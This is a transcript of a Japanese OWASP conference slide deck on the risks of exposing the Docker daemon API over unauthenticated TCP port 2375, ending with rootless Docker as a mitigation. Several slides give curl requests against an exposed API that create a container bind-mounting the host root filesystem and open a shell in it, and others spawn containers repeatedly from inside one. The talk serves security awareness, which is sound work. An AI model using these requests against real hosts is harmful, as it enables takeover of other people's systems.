Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Docker 危険のキ!/Docker the beginning of danger

yasu
February 10, 2020

Docker 危険のキ!/Docker the beginning of danger

OWASP Sendai Day 2020 での発表資料です。

yasu

February 10, 2020
Tweet

More Decks by yasu

Other Decks in Technology

Transcript

  1. OS: CentOS Linux release 8.0.1905 (Core) Client: Docker: 19.03.5 Server:

    Docker Engine: 18.09.1 上記のバージョンで確認しています。 環境
  2. 修正するファイル(docker01) /etc/systemd/system/multi-user.target.wants/docker.service ExecStart=/usr/bin/dockerd -H fd:// ↓ ExecStart=/usr/bin/dockerd -H fd:// -H

    tcp://0.0.0.0:2375 デーモンの再起動(docker01) $ sudo systemctl daemon-reload $ sudo systemctl restart docker 実際の設定
  3. プロセスの確認(docker01) $ ps ax | grep docker XXXX ? Ssl

    0:00 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 listenされていることの確認(docker01) $ sudo ss -tnlp LISTEN 0 128 *:2375 *:* users:(("dockerd",pid=1080,fd=3)) 実際の設定
  4. コンテナの確認(docker01) $ sudo docker container run -d --name nginx01 nginx

    852116acb341aa5・・・ $ sudo docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 35 seconds ago Up 33 seconds 80/tcp nginx01 コンテナの起動
  5. 別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container ls CONTAINER ID IMAGE

    COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 2 minutes ago Up 2 minutes 80/tcp nginx01 ※この環境は、VirtualBox上で2台の仮想マシン(CentOS)を 起動しています。 XXX.XXX.XXX.XXX は、VirtualBoxを動かしている ホストのIPアドレスになります。 リモートしてみる
  6. 別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 image ls REPOSITORY TAG IMAGE

    ID CREATED SIZE nginx latest 2073e0bcb60e 5 days ago 127MB hello-world latest fce289e99eb9 13 months ago 1.84kB リモートしてみる
  7. API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json | python -m json.tool [ {

    "Id": "852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf708", "Names": [ "/nginx01" ], "Image": "nginx" dockerコマンドが使えるということは
  8. API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/images/json | python -m json.tool [ {

    "Containers": -1, ・・・ "RepoTags": [ "nginx:latest" ], ・・・ "RepoTags": [ "hello-world:latest" ], dockerコマンドが使えるということは
  9. 露出したDocker APIを介してコンテナに侵入する ボット型マルウェア「AESDDoS」について解説 投稿日:2019年7月9日 https://blog.trendmicro.co.jp/archives/21756 もうすでに ~ 一部抜粋 ~ ▪今回のAESDDoSによる攻撃について

    今回確認された新しい攻撃では、攻撃者はまずTCP SYNパケットを、Dockerデーモ ンとの通信に使用されるデフォルトポートである2375に送信することによって、特定 のIP範囲を外部からスキャンします。
  10. $ curl -X POST -H "Content-Type: application/json" \ -d '{"Image":

    "nginx", "Mounts": [{"Source": "/", "Target": "/mnt", "Type": "bind"}]}' \ http://XXX.XXX.XXX.XXX:2375/containers/create {"Id":"123456789012345678901234567890","Warnings":null} ヤヴァいやつ1
  11. $ curl -X POST -H "Content-Type: application/json" \ -d '{"AttachStdin":

    true, "AttachStdout": true, "Tty": true, "Cmd": [ "sh" ]}' \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/exec {"Id":"ABCDEFGABCDEFGABCDEFG"} ヤヴァいやつ3
  12. $ curl -X POST -H "Content-Type: application/json" \ -d '{"Detach":

    false, "Tty": true}' \ http://XXX.XXX.XXX.XXX/exec/ABCDEFGABCDEFGABCDEFG/start ※本当はここでコンテナ内のshellに繋ぎたかった。 パラメータが足りないのか、何も返ってきません。 Ctrl + c で止めます。 ヤヴァいやつ4
  13. [root@ba4e368ef83c /]# ps ax | grep docker XXXX ? Ssl

    0:06 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 dockerデーモンは、当然ホスト上のプロセス いろいろと確認
  14. [root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker

    container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx ・ ・ ・ いろいろと・・・
  15. インストール手順 $ dnf install tar $ curl -fsSL https://get.docker.com/rootless |

    sh $ echo 'export DOCKER_HOST=unix://$XDG_RUNTIME_DIR/docker.sock' >> ~/.bash_profile $ source ~/.bash_profile $ docker container run hello-world rootless docker
  16. プロセスの確認 $ ps axu | grep docker user02 8525 0.0

    1.2 109856 10480 ? Ssl 12:39 0:00 rootlesskit --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8532 0.0 0.9 109856 8136 ? Sl 12:39 0:00 /proc/self/exe --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8563 1.0 5.7 492804 48408 ? Sl 12:39 0:00 dockerd --experimental --storage-driver=vfs user02 8575 0.5 3.2 463220 26936 ? Ssl 12:39 0:00 containerd --config /run/user/1000/docker/containerd/containerd.toml --log-level info user02 8713 0.0 0.1 10284 1096 pts/0 R+ 12:40 0:00 grep --color=auto docker 全てユーザ権限!! rootless docker